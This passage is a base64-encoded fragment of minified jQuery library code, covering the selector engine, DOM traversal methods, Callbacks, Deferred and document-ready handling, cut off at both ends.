WUubGVuZ3RoLG89Yi5yZWxhdGl2ZVtlWzBdLnR5cGVdLGE9b3x8Yi5yZWxhdGl2ZVsiICJdLHM9bz8xOjAsdT1iZShmdW5jdGlvbihlKXtyZXR1cm4gZT09PWl9LGEsITApLGw9YmUoZnVuY3Rpb24oZSl7cmV0dXJuLTE8UChpLGUpfSxhLCEwKSxjPVtmdW5jdGlvbihlLHQsbil7dmFyIHI9IW8mJihufHx0IT09dyl8fCgoaT10KS5ub2RlVHlwZT91KGUsdCxuKTpsKGUsdCxuKSk7cmV0dXJuIGk9bnVsbCxyfV07czxyO3MrKylpZih0PWIucmVsYXRpdmVbZVtzXS50eXBlXSljPVtiZSh3ZShjKSx0KV07ZWxzZXtpZigodD1iLmZpbHRlcltlW3NdLnR5cGVdLmFwcGx5KG51bGwsZVtzXS5tYXRjaGVzKSlbU10pe2ZvcihuPSsrcztuPHI7bisrKWlmKGIucmVsYXRpdmVbZVtuXS50eXBlXSlicmVhaztyZXR1cm4gQ2UoMTxzJiZ3ZShjKSwxPHMmJnhlKGUuc2xpY2UoMCxzLTEpLmNvbmNhdCh7dmFsdWU6IiAiPT09ZVtzLTJdLnR5cGU/IioiOiIifSkpLnJlcGxhY2UoJCwiJDEiKSx0LHM8biYmRWUoZS5zbGljZShzLG4pKSxuPHImJkVlKGU9ZS5zbGljZShuKSksbjxyJiZ4ZShlKSl9Yy5wdXNoKHQpfXJldHVybiB3ZShjKX1yZXR1cm4gbWUucHJvdG90eXBlPWIuZmlsdGVycz1iLnBzZXVkb3MsYi5zZXRGaWx0ZXJzPW5ldyBtZSxoPXNlLnRva2VuaXplPWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpLG8sYSxzLHUsbD14W2UrIiAiXTtpZihsKXJldHVybiB0PzA6bC5zbGljZSgwKTthPWUscz1bXSx1PWIucHJlRmlsdGVyO3doaWxlKGEpe2ZvcihvIGluIG4mJiEocj1fLmV4ZWMoYSkpfHwociYmKGE9YS5zbGljZShyWzBdLmxlbmd0aCl8fGEpLHMucHVzaChpPVtdKSksbj0hMSwocj16LmV4ZWMoYSkpJiYobj1yLnNoaWZ0KCksaS5wdXNoKHt2YWx1ZTpuLHR5cGU6clswXS5yZXBsYWNlKCQsIiAiKX0pLGE9YS5zbGljZShuLmxlbmd0aCkpLGIuZmlsdGVyKSEocj1HW29dLmV4ZWMoYSkpfHx1W29dJiYhKHI9dVtvXShyKSl8fChuPXIuc2hpZnQoKSxpLnB1c2goe3ZhbHVlOm4sdHlwZTpvLG1hdGNoZXM6cn0pLGE9YS5zbGljZShuLmxlbmd0aCkpO2lmKCFuKWJyZWFrfXJldHVybiB0P2EubGVuZ3RoOmE/c2UuZXJyb3IoZSk6eChlLHMpLnNsaWNlKDApfSxmPXNlLmNvbXBpbGU9ZnVuY3Rpb24oZSx0KXt2YXIgbix2LHksbSx4LHIsaT1bXSxvPVtdLGE9QVtlKyIgIl07aWYoIWEpe3R8fCh0PWgoZSkpLG49dC5sZW5ndGg7d2hpbGUobi0tKShhPUVlKHRbbl0pKVtTXT9pLnB1c2goYSk6by5wdXNoKGEpOyhhPUEoZSwodj1vLG09MDwoeT1pKS5sZW5ndGgseD0wPHYubGVuZ3RoLHI9ZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgbyxhLHMsdT0wLGw9IjAiLGM9ZSYmW10sZj1bXSxwPXcsZD1lfHx4JiZiLmZpbmQuVEFHKCIqIixpKSxoPWsrPW51bGw9PXA/MTpNYXRoLnJhbmRvbSgpfHwuMSxnPWQubGVuZ3RoO2ZvcihpJiYodz10PT1DfHx0fHxpKTtsIT09ZyYmbnVsbCE9KG89ZFtsXSk7bCsrKXtpZih4JiZvKXthPTAsdHx8by5vd25lckRvY3VtZW50PT1DfHwoVChvKSxuPSFFKTt3aGlsZShzPXZbYSsrXSlpZihzKG8sdHx8QyxuKSl7ci5wdXNoKG8pO2JyZWFrfWkmJihrPWgpfW0mJigobz0hcyYmbykmJnUtLSxlJiZjLnB1c2gobykpfWlmKHUrPWwsbSYmbCE9PXUpe2E9MDt3aGlsZShzPXlbYSsrXSlzKGMsZix0LG4pO2lmKGUpe2lmKDA8dSl3aGlsZShsLS0pY1tsXXx8ZltsXXx8KGZbbF09cS5jYWxsKHIpKTtmPVRlKGYpfUguYXBwbHkocixmKSxpJiYhZSYmMDxmLmxlbmd0aCYmMTx1K3kubGVuZ3RoJiZzZS51bmlxdWVTb3J0KHIpfXJldHVybiBpJiYoaz1oLHc9cCksY30sbT9sZShyKTpyKSkpLnNlbGVjdG9yPWV9cmV0dXJuIGF9LGc9c2Uuc2VsZWN0PWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG8sYSxzLHUsbD0iZnVuY3Rpb24iPT10eXBlb2YgZSYmZSxjPSFyJiZoKGU9bC5zZWxlY3Rvcnx8ZSk7aWYobj1ufHxbXSwxPT09Yy5sZW5ndGgpe2lmKDI8KG89Y1swXT1jWzBdLnNsaWNlKDApKS5sZW5ndGgmJiJJRCI9PT0oYT1vWzBdKS50eXBlJiY5PT09dC5ub2RlVHlwZSYmRSYmYi5yZWxhdGl2ZVtvWzFdLnR5cGVdKXtpZighKHQ9KGIuZmluZC5JRChhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksdCl8fFtdKVswXSkpcmV0dXJuIG47bCYmKHQ9dC5wYXJlbnROb2RlKSxlPWUuc2xpY2Uoby5zaGlmdCgpLnZhbHVlLmxlbmd0aCl9aT1HLm5lZWRzQ29udGV4dC50ZXN0KGUpPzA6by5sZW5ndGg7d2hpbGUoaS0tKXtpZihhPW9baV0sYi5yZWxhdGl2ZVtzPWEudHlwZV0pYnJlYWs7aWYoKHU9Yi5maW5kW3NdKSYmKHI9dShhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksZWUudGVzdChvWzBdLnR5cGUpJiZ5ZSh0LnBhcmVudE5vZGUpfHx0KSkpe2lmKG8uc3BsaWNlKGksMSksIShlPXIubGVuZ3RoJiZ4ZShvKSkpcmV0dXJuIEguYXBwbHkobixyKSxuO2JyZWFrfX19cmV0dXJuKGx8fGYoZSxjKSkocix0LCFFLG4sIXR8fGVlLnRlc3QoZSkmJnllKHQucGFyZW50Tm9kZSl8fHQpLG59LGQuc29ydFN0YWJsZT1TLnNwbGl0KCIiKS5zb3J0KEQpLmpvaW4oIiIpPT09UyxkLmRldGVjdER1cGxpY2F0ZXM9ISFsLFQoKSxkLnNvcnREZXRhY2hlZD1jZShmdW5jdGlvbihlKXtyZXR1cm4gMSZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKEMuY3JlYXRlRWxlbWVudCgiZmllbGRzZXQiKSl9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxhIGhyZWY9JyMnPjwvYT4iLCIjIj09PWUuZmlyc3RDaGlsZC5nZXRBdHRyaWJ1dGUoImhyZWYiKX0pfHxmZSgidHlwZXxocmVmfGhlaWdodHx3aWR0aCIsZnVuY3Rpb24oZSx0LG4pe2lmKCFuKXJldHVybiBlLmdldEF0dHJpYnV0ZSh0LCJ0eXBlIj09PXQudG9Mb3dlckNhc2UoKT8xOjIpfSksZC5hdHRyaWJ1dGVzJiZjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxpbnB1dC8+IixlLmZpcnN0Q2hpbGQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIiIpLCIiPT09ZS5maXJzdENoaWxkLmdldEF0dHJpYnV0ZSgidmFsdWUiKX0pfHxmZSgidmFsdWUiLGZ1bmN0aW9uKGUsdCxuKXtpZighbiYmImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSlyZXR1cm4gZS5kZWZhdWx0VmFsdWV9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZS5nZXRBdHRyaWJ1dGUoImRpc2FibGVkIil9KXx8ZmUoUixmdW5jdGlvbihlLHQsbil7dmFyIHI7aWYoIW4pcmV0dXJuITA9PT1lW3RdP3QudG9Mb3dlckNhc2UoKToocj1lLmdldEF0dHJpYnV0ZU5vZGUodCkpJiZyLnNwZWNpZmllZD9yLnZhbHVlOm51bGx9KSxzZX0oQyk7Uy5maW5kPWQsUy5leHByPWQuc2VsZWN0b3JzLFMuZXhwclsiOiJdPVMuZXhwci5wc2V1ZG9zLFMudW5pcXVlU29ydD1TLnVuaXF1ZT1kLnVuaXF1ZVNvcnQsUy50ZXh0PWQuZ2V0VGV4dCxTLmlzWE1MRG9jPWQuaXNYTUwsUy5jb250YWlucz1kLmNvbnRhaW5zLFMuZXNjYXBlU2VsZWN0b3I9ZC5lc2NhcGU7dmFyIGg9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPVtdLGk9dm9pZCAwIT09bjt3aGlsZSgoZT1lW3RdKSYmOSE9PWUubm9kZVR5cGUpaWYoMT09PWUubm9kZVR5cGUpe2lmKGkmJlMoZSkuaXMobikpYnJlYWs7ci5wdXNoKGUpfXJldHVybiByfSxUPWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPVtdO2U7ZT1lLm5leHRTaWJsaW5nKTE9PT1lLm5vZGVUeXBlJiZlIT09dCYmbi5wdXNoKGUpO3JldHVybiBufSxrPVMuZXhwci5tYXRjaC5uZWVkc0NvbnRleHQ7ZnVuY3Rpb24gQShlLHQpe3JldHVybiBlLm5vZGVOYW1lJiZlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT10LnRvTG93ZXJDYXNlKCl9dmFyIE49L148KFthLXpdW15cL1wwPjpceDIwXHRcclxuXGZdKilbXHgyMFx0XHJcblxmXSpcLz8+KD86PFwvXDE+fCkkL2k7ZnVuY3Rpb24gRChlLG4scil7cmV0dXJuIG0obik/Uy5ncmVwKGUsZnVuY3Rpb24oZSx0KXtyZXR1cm4hIW4uY2FsbChlLHQsZSkhPT1yfSk6bi5ub2RlVHlwZT9TLmdyZXAoZSxmdW5jdGlvbihlKXtyZXR1cm4gZT09PW4hPT1yfSk6InN0cmluZyIhPXR5cGVvZiBuP1MuZ3JlcChlLGZ1bmN0aW9uKGUpe3JldHVybi0xPGkuY2FsbChuLGUpIT09cn0pOlMuZmlsdGVyKG4sZSxyKX1TLmZpbHRlcj1mdW5jdGlvbihlLHQsbil7dmFyIHI9dFswXTtyZXR1cm4gbiYmKGU9Ijpub3QoIitlKyIpIiksMT09PXQubGVuZ3RoJiYxPT09ci5ub2RlVHlwZT9TLmZpbmQubWF0Y2hlc1NlbGVjdG9yKHIsZSk/W3JdOltdOlMuZmluZC5tYXRjaGVzKGUsUy5ncmVwKHQsZnVuY3Rpb24oZSl7cmV0dXJuIDE9PT1lLm5vZGVUeXBlfSkpfSxTLmZuLmV4dGVuZCh7ZmluZDpmdW5jdGlvbihlKXt2YXIgdCxuLHI9dGhpcy5sZW5ndGgsaT10aGlzO2lmKCJzdHJpbmciIT10eXBlb2YgZSlyZXR1cm4gdGhpcy5wdXNoU3RhY2soUyhlKS5maWx0ZXIoZnVuY3Rpb24oKXtmb3IodD0wO3Q8cjt0KyspaWYoUy5jb250YWlucyhpW3RdLHRoaXMpKXJldHVybiEwfSkpO2ZvcihuPXRoaXMucHVzaFN0YWNrKFtdKSx0PTA7dDxyO3QrKylTLmZpbmQoZSxpW3RdLG4pO3JldHVybiAxPHI/Uy51bmlxdWVTb3J0KG4pOm59LGZpbHRlcjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soRCh0aGlzLGV8fFtdLCExKSl9LG5vdDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soRCh0aGlzLGV8fFtdLCEwKSl9LGlzOmZ1bmN0aW9uKGUpe3JldHVybiEhRCh0aGlzLCJzdHJpbmciPT10eXBlb2YgZSYmay50ZXN0KGUpP1MoZSk6ZXx8W10sITEpLmxlbmd0aH19KTt2YXIgaixxPS9eKD86XHMqKDxbXHdcV10rPilbXj5dKnwjKFtcdy1dKykpJC87KFMuZm4uaW5pdD1mdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZighZSlyZXR1cm4gdGhpcztpZihuPW58fGosInN0cmluZyI9PXR5cGVvZiBlKXtpZighKHI9IjwiPT09ZVswXSYmIj4iPT09ZVtlLmxlbmd0aC0xXSYmMzw9ZS5sZW5ndGg/W251bGwsZSxudWxsXTpxLmV4ZWMoZSkpfHwhclsxXSYmdClyZXR1cm4hdHx8dC5qcXVlcnk/KHR8fG4pLmZpbmQoZSk6dGhpcy5jb25zdHJ1Y3Rvcih0KS5maW5kKGUpO2lmKHJbMV0pe2lmKHQ9dCBpbnN0YW5jZW9mIFM/dFswXTp0LFMubWVyZ2UodGhpcyxTLnBhcnNlSFRNTChyWzFdLHQmJnQubm9kZVR5cGU/dC5vd25lckRvY3VtZW50fHx0OkUsITApKSxOLnRlc3QoclsxXSkmJlMuaXNQbGFpbk9iamVjdCh0KSlmb3IociBpbiB0KW0odGhpc1tyXSk/dGhpc1tyXSh0W3JdKTp0aGlzLmF0dHIocix0W3JdKTtyZXR1cm4gdGhpc31yZXR1cm4oaT1FLmdldEVsZW1lbnRCeUlkKHJbMl0pKSYmKHRoaXNbMF09aSx0aGlzLmxlbmd0aD0xKSx0aGlzfXJldHVybiBlLm5vZGVUeXBlPyh0aGlzWzBdPWUsdGhpcy5sZW5ndGg9MSx0aGlzKTptKGUpP3ZvaWQgMCE9PW4ucmVhZHk/bi5yZWFkeShlKTplKFMpOlMubWFrZUFycmF5KGUsdGhpcyl9KS5wcm90b3R5cGU9Uy5mbixqPVMoRSk7dmFyIEw9L14oPzpwYXJlbnRzfHByZXYoPzpVbnRpbHxBbGwpKS8sSD17Y2hpbGRyZW46ITAsY29udGVudHM6ITAsbmV4dDohMCxwcmV2OiEwfTtmdW5jdGlvbiBPKGUsdCl7d2hpbGUoKGU9ZVt0XSkmJjEhPT1lLm5vZGVUeXBlKTtyZXR1cm4gZX1TLmZuLmV4dGVuZCh7aGFzOmZ1bmN0aW9uKGUpe3ZhciB0PVMoZSx0aGlzKSxuPXQubGVuZ3RoO3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe2Zvcih2YXIgZT0wO2U8bjtlKyspaWYoUy5jb250YWlucyh0aGlzLHRbZV0pKXJldHVybiEwfSl9LGNsb3Nlc3Q6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10aGlzLmxlbmd0aCxvPVtdLGE9InN0cmluZyIhPXR5cGVvZiBlJiZTKGUpO2lmKCFrLnRlc3QoZSkpZm9yKDtyPGk7cisrKWZvcihuPXRoaXNbcl07biYmbiE9PXQ7bj1uLnBhcmVudE5vZGUpaWYobi5ub2RlVHlwZTwxMSYmKGE/LTE8YS5pbmRleChuKToxPT09bi5ub2RlVHlwZSYmUy5maW5kLm1hdGNoZXNTZWxlY3RvcihuLGUpKSl7by5wdXNoKG4pO2JyZWFrfXJldHVybiB0aGlzLnB1c2hTdGFjaygxPG8ubGVuZ3RoP1MudW5pcXVlU29ydChvKTpvKX0saW5kZXg6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/InN0cmluZyI9PXR5cGVvZiBlP2kuY2FsbChTKGUpLHRoaXNbMF0pOmkuY2FsbCh0aGlzLGUuanF1ZXJ5P2VbMF06ZSk6dGhpc1swXSYmdGhpc1swXS5wYXJlbnROb2RlP3RoaXMuZmlyc3QoKS5wcmV2QWxsKCkubGVuZ3RoOi0xfSxhZGQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soUy51bmlxdWVTb3J0KFMubWVyZ2UodGhpcy5nZXQoKSxTKGUsdCkpKSl9LGFkZEJhY2s6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuYWRkKG51bGw9PWU/dGhpcy5wcmV2T2JqZWN0OnRoaXMucHJldk9iamVjdC5maWx0ZXIoZSkpfX0pLFMuZWFjaCh7cGFyZW50OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmMTEhPT10Lm5vZGVUeXBlP3Q6bnVsbH0scGFyZW50czpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJwYXJlbnROb2RlIil9LHBhcmVudHNVbnRpbDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIGgoZSwicGFyZW50Tm9kZSIsbil9LG5leHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIE8oZSwibmV4dFNpYmxpbmciKX0scHJldjpmdW5jdGlvbihlKXtyZXR1cm4gTyhlLCJwcmV2aW91c1NpYmxpbmciKX0sbmV4dEFsbDpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJuZXh0U2libGluZyIpfSxwcmV2QWxsOmZ1bmN0aW9uKGUpe3JldHVybiBoKGUsInByZXZpb3VzU2libGluZyIpfSxuZXh0VW50aWw6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBoKGUsIm5leHRTaWJsaW5nIixuKX0scHJldlVudGlsOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gaChlLCJwcmV2aW91c1NpYmxpbmciLG4pfSxzaWJsaW5nczpmdW5jdGlvbihlKXtyZXR1cm4gVCgoZS5wYXJlbnROb2RlfHx7fSkuZmlyc3RDaGlsZCxlKX0sY2hpbGRyZW46ZnVuY3Rpb24oZSl7cmV0dXJuIFQoZS5maXJzdENoaWxkKX0sY29udGVudHM6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWUuY29udGVudERvY3VtZW50JiZyKGUuY29udGVudERvY3VtZW50KT9lLmNvbnRlbnREb2N1bWVudDooQShlLCJ0ZW1wbGF0ZSIpJiYoZT1lLmNvbnRlbnR8fGUpLFMubWVyZ2UoW10sZS5jaGlsZE5vZGVzKSl9fSxmdW5jdGlvbihyLGkpe1MuZm5bcl09ZnVuY3Rpb24oZSx0KXt2YXIgbj1TLm1hcCh0aGlzLGksZSk7cmV0dXJuIlVudGlsIiE9PXIuc2xpY2UoLTUpJiYodD1lKSx0JiYic3RyaW5nIj09dHlwZW9mIHQmJihuPVMuZmlsdGVyKHQsbikpLDE8dGhpcy5sZW5ndGgmJihIW3JdfHxTLnVuaXF1ZVNvcnQobiksTC50ZXN0KHIpJiZuLnJldmVyc2UoKSksdGhpcy5wdXNoU3RhY2sobil9fSk7dmFyIFA9L1teXHgyMFx0XHJcblxmXSsvZztmdW5jdGlvbiBSKGUpe3JldHVybiBlfWZ1bmN0aW9uIE0oZSl7dGhyb3cgZX1mdW5jdGlvbiBJKGUsdCxuLHIpe3ZhciBpO3RyeXtlJiZtKGk9ZS5wcm9taXNlKT9pLmNhbGwoZSkuZG9uZSh0KS5mYWlsKG4pOmUmJm0oaT1lLnRoZW4pP2kuY2FsbChlLHQsbik6dC5hcHBseSh2b2lkIDAsW2VdLnNsaWNlKHIpKX1jYXRjaChlKXtuLmFwcGx5KHZvaWQgMCxbZV0pfX1TLkNhbGxiYWNrcz1mdW5jdGlvbihyKXt2YXIgZSxuO3I9InN0cmluZyI9PXR5cGVvZiByPyhlPXIsbj17fSxTLmVhY2goZS5tYXRjaChQKXx8W10sZnVuY3Rpb24oZSx0KXtuW3RdPSEwfSksbik6Uy5leHRlbmQoe30scik7dmFyIGksdCxvLGEscz1bXSx1PVtdLGw9LTEsYz1mdW5jdGlvbigpe2ZvcihhPWF8fHIub25jZSxvPWk9ITA7dS5sZW5ndGg7bD0tMSl7dD11LnNoaWZ0KCk7d2hpbGUoKytsPHMubGVuZ3RoKSExPT09c1tsXS5hcHBseSh0WzBdLHRbMV0pJiZyLnN0b3BPbkZhbHNlJiYobD1zLmxlbmd0aCx0PSExKX1yLm1lbW9yeXx8KHQ9ITEpLGk9ITEsYSYmKHM9dD9bXToiIil9LGY9e2FkZDpmdW5jdGlvbigpe3JldHVybiBzJiYodCYmIWkmJihsPXMubGVuZ3RoLTEsdS5wdXNoKHQpKSxmdW5jdGlvbiBuKGUpe1MuZWFjaChlLGZ1bmN0aW9uKGUsdCl7bSh0KT9yLnVuaXF1ZSYmZi5oYXModCl8fHMucHVzaCh0KTp0JiZ0Lmxlbmd0aCYmInN0cmluZyIhPT13KHQpJiZuKHQpfSl9KGFyZ3VtZW50cyksdCYmIWkmJmMoKSksdGhpc30scmVtb3ZlOmZ1bmN0aW9uKCl7cmV0dXJuIFMuZWFjaChhcmd1bWVudHMsZnVuY3Rpb24oZSx0KXt2YXIgbjt3aGlsZSgtMTwobj1TLmluQXJyYXkodCxzLG4pKSlzLnNwbGljZShuLDEpLG48PWwmJmwtLX0pLHRoaXN9LGhhczpmdW5jdGlvbihlKXtyZXR1cm4gZT8tMTxTLmluQXJyYXkoZSxzKTowPHMubGVuZ3RofSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiBzJiYocz1bXSksdGhpc30sZGlzYWJsZTpmdW5jdGlvbigpe3JldHVybiBhPXU9W10scz10PSIiLHRoaXN9LGRpc2FibGVkOmZ1bmN0aW9uKCl7cmV0dXJuIXN9LGxvY2s6ZnVuY3Rpb24oKXtyZXR1cm4gYT11PVtdLHR8fGl8fChzPXQ9IiIpLHRoaXN9LGxvY2tlZDpmdW5jdGlvbigpe3JldHVybiEhYX0sZmlyZVdpdGg6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gYXx8KHQ9W2UsKHQ9dHx8W10pLnNsaWNlP3Quc2xpY2UoKTp0XSx1LnB1c2godCksaXx8YygpKSx0aGlzfSxmaXJlOmZ1bmN0aW9uKCl7cmV0dXJuIGYuZmlyZVdpdGgodGhpcyxhcmd1bWVudHMpLHRoaXN9LGZpcmVkOmZ1bmN0aW9uKCl7cmV0dXJuISFvfX07cmV0dXJuIGZ9LFMuZXh0ZW5kKHtEZWZlcnJlZDpmdW5jdGlvbihlKXt2YXIgbz1bWyJub3RpZnkiLCJwcm9ncmVzcyIsUy5DYWxsYmFja3MoIm1lbW9yeSIpLFMuQ2FsbGJhY2tzKCJtZW1vcnkiKSwyXSxbInJlc29sdmUiLCJkb25lIixTLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSxTLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSwwLCJyZXNvbHZlZCJdLFsicmVqZWN0IiwiZmFpbCIsUy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksUy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksMSwicmVqZWN0ZWQiXV0saT0icGVuZGluZyIsYT17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gaX0sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIHMuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSwiY2F0Y2giOmZ1bmN0aW9uKGUpe3JldHVybiBhLnRoZW4obnVsbCxlKX0scGlwZTpmdW5jdGlvbigpe3ZhciBpPWFyZ3VtZW50cztyZXR1cm4gUy5EZWZlcnJlZChmdW5jdGlvbihyKXtTLmVhY2gobyxmdW5jdGlvbihlLHQpe3ZhciBuPW0oaVt0WzRdXSkmJmlbdFs0XV07c1t0WzFdXShmdW5jdGlvbigpe3ZhciBlPW4mJm4uYXBwbHkodGhpcyxhcmd1bWVudHMpO2UmJm0oZS5wcm9taXNlKT9lLnByb21pc2UoKS5wcm9ncmVzcyhyLm5vdGlmeSkuZG9uZShyLnJlc29sdmUpLmZhaWwoci5yZWplY3QpOnJbdFswXSsiV2l0aCJdKHRoaXMsbj9bZV06YXJndW1lbnRzKX0pfSksaT1udWxsfSkucHJvbWlzZSgpfSx0aGVuOmZ1bmN0aW9uKHQsbixyKXt2YXIgdT0wO2Z1bmN0aW9uIGwoaSxvLGEscyl7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIG49dGhpcyxyPWFyZ3VtZW50cyxlPWZ1bmN0aW9uKCl7dmFyIGUsdDtpZighKGk8dSkpe2lmKChlPWEuYXBwbHkobixyKSk9PT1vLnByb21pc2UoKSl0aHJvdyBuZXcgVHlwZUVycm9yKCJUaGVuYWJsZSBzZWxmLXJlc29sdXRpb24iKTt0PWUmJigib2JqZWN0Ij09dHlwZW9mIGV8fCJmdW5jdGlvbiI9PXR5cGVvZiBlKSYmZS50aGVuLG0odCk/cz90LmNhbGwoZSxsKHUsbyxSLHMpLGwodSxvLE0scykpOih1KyssdC5jYWxsKGUsbCh1LG8sUixzKSxsKHUsbyxNLHMpLGwodSxvLFIsby5ub3RpZnlXaXRoKSkpOihhIT09UiYmKG49dm9pZCAwLHI9W2VdKSwoc3x8by5yZXNvbHZlV2l0aCkobixyKSl9fSx0PXM/ZTpmdW5jdGlvbigpe3RyeXtlKCl9Y2F0Y2goZSl7Uy5EZWZlcnJlZC5leGNlcHRpb25Ib29rJiZTLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2soZSx0LnN0YWNrVHJhY2UpLHU8PWkrMSYmKGEhPT1NJiYobj12b2lkIDAscj1bZV0pLG8ucmVqZWN0V2l0aChuLHIpKX19O2k/dCgpOihTLkRlZmVycmVkLmdldFN0YWNrSG9vayYmKHQuc3RhY2tUcmFjZT1TLkRlZmVycmVkLmdldFN0YWNrSG9vaygpKSxDLnNldFRpbWVvdXQodCkpfX1yZXR1cm4gUy5EZWZlcnJlZChmdW5jdGlvbihlKXtvWzBdWzNdLmFkZChsKDAsZSxtKHIpP3I6UixlLm5vdGlmeVdpdGgpKSxvWzFdWzNdLmFkZChsKDAsZSxtKHQpP3Q6UikpLG9bMl1bM10uYWRkKGwoMCxlLG0obik/bjpNKSl9KS5wcm9taXNlKCl9LHByb21pc2U6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWU/Uy5leHRlbmQoZSxhKTphfX0scz17fTtyZXR1cm4gUy5lYWNoKG8sZnVuY3Rpb24oZSx0KXt2YXIgbj10WzJdLHI9dFs1XTthW3RbMV1dPW4uYWRkLHImJm4uYWRkKGZ1bmN0aW9uKCl7aT1yfSxvWzMtZV1bMl0uZGlzYWJsZSxvWzMtZV1bM10uZGlzYWJsZSxvWzBdWzJdLmxvY2ssb1swXVszXS5sb2NrKSxuLmFkZCh0WzNdLmZpcmUpLHNbdFswXV09ZnVuY3Rpb24oKXtyZXR1cm4gc1t0WzBdKyJXaXRoIl0odGhpcz09PXM/dm9pZCAwOnRoaXMsYXJndW1lbnRzKSx0aGlzfSxzW3RbMF0rIldpdGgiXT1uLmZpcmVXaXRofSksYS5wcm9taXNlKHMpLGUmJmUuY2FsbChzLHMpLHN9LHdoZW46ZnVuY3Rpb24oZSl7dmFyIG49YXJndW1lbnRzLmxlbmd0aCx0PW4scj1BcnJheSh0KSxpPXMuY2FsbChhcmd1bWVudHMpLG89Uy5EZWZlcnJlZCgpLGE9ZnVuY3Rpb24odCl7cmV0dXJuIGZ1bmN0aW9uKGUpe3JbdF09dGhpcyxpW3RdPTE8YXJndW1lbnRzLmxlbmd0aD9zLmNhbGwoYXJndW1lbnRzKTplLC0tbnx8by5yZXNvbHZlV2l0aChyLGkpfX07aWYobjw9MSYmKEkoZSxvLmRvbmUoYSh0KSkucmVzb2x2ZSxvLnJlamVjdCwhbiksInBlbmRpbmciPT09by5zdGF0ZSgpfHxtKGlbdF0mJmlbdF0udGhlbikpKXJldHVybiBvLnRoZW4oKTt3aGlsZSh0LS0pSShpW3RdLGEodCksby5yZWplY3QpO3JldHVybiBvLnByb21pc2UoKX19KTt2YXIgVz0vXihFdmFsfEludGVybmFsfFJhbmdlfFJlZmVyZW5jZXxTeW50YXh8VHlwZXxVUkkpRXJyb3IkLztTLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2s9ZnVuY3Rpb24oZSx0KXtDLmNvbnNvbGUmJkMuY29uc29sZS53YXJuJiZlJiZXLnRlc3QoZS5uYW1lKSYmQy5jb25zb2xlLndhcm4oImpRdWVyeS5EZWZlcnJlZCBleGNlcHRpb246ICIrZS5tZXNzYWdlLGUuc3RhY2ssdCl9LFMucmVhZHlFeGNlcHRpb249ZnVuY3Rpb24oZSl7Qy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dGhyb3cgZX0pfTt2YXIgRj1TLkRlZmVycmVkKCk7ZnVuY3Rpb24gQigpe0UucmVtb3ZlRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsQiksQy5yZW1vdmVFdmVudExpc3RlbmVyKCJsb2FkIixCKSxTLnJlYWR5KCl9Uy5mbi5yZWFkeT1mdW5jdGlvbihlKXtyZXR1cm4gRi50aGVuKGUpWyJjYXRjaCJdKGZ1bmN0aW9uKGUpe1MucmVhZHlFeGNlcHRpb24oZSl9KSx0aGlzfSxTLmV4dGVuZCh7aXNSZWFkeTohMSxyZWFkeVdhaXQ6MSxyZWFkeTpmdW5jdGlvbihlKXsoITA9PT1lPy0tUy5yZWFkeVdhaXQ6Uy5pc1JlYWR5KXx8KFMuaXNSZWFkeT0hMCkhPT1lJiYwPC0tUy5yZWFkeVdhaXR8fEYucmVzb2x2ZVdpdGgoRSxbU10pfX0pLFMucmVhZHkudGhlbj1GLnRoZW4sImNvbXBsZXRlIj09PUUucmVhZHlTdGF0ZXx8ImxvYWRpbmciIT09RS5yZWFkeVN0YXRlJiYhRS5kb2N1bWVudEVsZW1lbnQuZG9TY3JvbGw/Qy5zZXRUaW1lb3V0KFMucmVhZHkpOihFLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLEIpLEMuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsQikpO3ZhciAkPWZ1bmN0aW9uKGUsdCxuLHIsaSxvLGEpe3ZhciBzPTAsdT1lLmxlbmd0aCxsPW51bGw9PW47aWYoIm9iamVjdCI9PT